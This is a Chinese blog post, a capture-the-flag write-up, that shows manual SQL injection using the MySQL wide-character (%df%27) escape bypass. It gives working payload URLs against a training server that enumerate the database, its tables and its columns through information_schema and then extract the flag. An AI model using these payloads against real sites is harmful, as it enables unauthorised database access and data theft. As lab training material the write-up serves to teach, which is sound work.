
利用MySQL宽字符漏洞进行手工SQL注入
时间:2016-11-02 作者:zhankehua 评论:0 点击:7069 次
在一信息安全攻防训练平台上看到了一个关于SQL注入漏洞的题目。如下图:
一看就知道,是字符型SQL注入。还是一样的流程,先探测一下吧。
发现引号被转义了,那怎么办?这时想到了以前遇到过的关于宽字符注入,那就试试吧。
输入id=2%df%27 or 1=1%23
看看结果,竟然正确执行了。太好了,那就断续渗透吧。
1)暴数据库名
http://115.28.150.176/sqli/index.php?id=-1%df%27 union SELECT 1,database()%23
很容易就查出数据库名为sqli1, 那就断续暴表的名字吧!
2)暴表名
http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT 1,TABLE_NAME FROM information_schema.TABLES where table_SCHEMA=0x73716C6931%23
注意,这里的数据库名一定要使用mysql的十六进制编码。
看看,表名出来了吧,就是flag和news。注意flag后面的id是另一行的,不要认为flagid是表名哦。
查出了表名,那我们该查列了。
3)暴列
http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS where table_NAME=0x666C6167%23
ok,现在列名也知道了,那就好办了,直接列出内容吧。
4)暴表中的内容
http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT 1,fl4g FROM flag%23
看看结果出来了吧,是不是很easy?:)
本文标签:
转载请注明出处: http://www.itsec365.cn/?id=19
已有 7069 位网友参与,快来吐槽:
发表评论